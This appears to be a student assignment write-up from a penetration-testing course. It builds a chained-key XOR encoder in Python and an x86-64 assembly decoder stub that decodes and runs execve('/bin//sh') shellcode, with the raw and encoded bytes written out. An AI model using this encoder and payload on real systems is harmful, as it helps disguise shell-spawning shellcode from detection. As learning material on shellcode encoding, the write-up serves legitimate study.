Create a custom encoding scheme like the insertion encoder
POC it with the Execv-Stack example
Repository:https://github.com/Farad77/pentestAssign4.git
XOR with polymorphic key
My idea for this custom encoder is to use the same idea of the XOR Encoder but using only the initial key to encode the first byte and then use this encoded byte as my new key.
I can forsee an issue related to null byte appearing from two similar neighbour but we will do our Poc first.
First we get the Excev-Stack byte code:
« \x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05 »
With python we will encode the first byte by XORing it with the initial key (0xAA) and then XOR the next byte with the previous value
#!/usr/bin/python
shellcode = ("\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05")
encoded = ""
encoded2 = ""
print 'Encoded shellcode ...'
newKey=0xAA
for x in bytearray(shellcode) :
# XOR Encoding
y = x^newKey
newKey=y
encoded += '\\x'
encoded += '%02x' % y
encoded2 += '0x'
encoded2 += '%02x,' %y
print encoded
print encoded2
print 'Len: %d' % len(bytearray(shellcode))
We get our encoded shellcode, no nullbyte
0xe2,0xd3,0x13,0x43,0x0b,0xb0,0x9f,0xfd,0x94,0xfa,0xd5,0xfa,0x89,0xe1,0xb2,0xfa,0x73,0x94,0xc4,0x8c,0x05,0xe7,0xb0,0xf8,0x71,0x97,0xdf,0x5c,0x9c,0xa7,0xa8,0xad
The assembler decoder version do the exact opposite:
Take the encoded shellcode, take the first byte,stock it, xor it with the initial key (0xAA), and then use the stocked byte as the new xoring key.
global _start
section .text
_start:
jmp encoded
getEncodedShellCode:
pop rsi
xor rax,rax ;key will be rax
xor rdx,rdx ;buffer
xor rdi,rdi
xor rcx,rcx
add cl,32
add al,0xAA
looping:
mov dl,byte [rsi]
mov dil,dl
xor rdi,rax
mov byte [rsi],dil
inc rsi
mov al,dl
dec rcx
cmp rcx,0
jne looping
sub rsi,32
call rsi
encoded:
call getEncodedShellCode
encoded_shellcode db 0xe2,0xd3,0x13,0x43,0x0b,0xb0,0x9f,0xfd,0x94,0xfa,0xd5,0xfa,0x89,0xe1,0xb2,0xfa,0x73,0x94,0xc4,0x8c,0x05,0xe7,0xb0,0xf8,0x71,0x97,0xdf,0x5c,0x9c,0xa7,0xa8,0xad
We got a null byte because of cmp cx,0, so we will replace the handmand looping system with the « loop » instruction.
Code is avaiable at: https://github.com/Farad77/pentestAssign4/blob/master/polyXORdecoder.asm
Conclusion
As i said in the beginning there’s could be an issue where null byte appearing in the encoded shellcode, so we could:
-Iterate through different initial keys if it’s happening
Python encoder will check if encoding result is 00 , and restart the whole process using another key compute using the initial one(from 0xAA to 0xAB for example).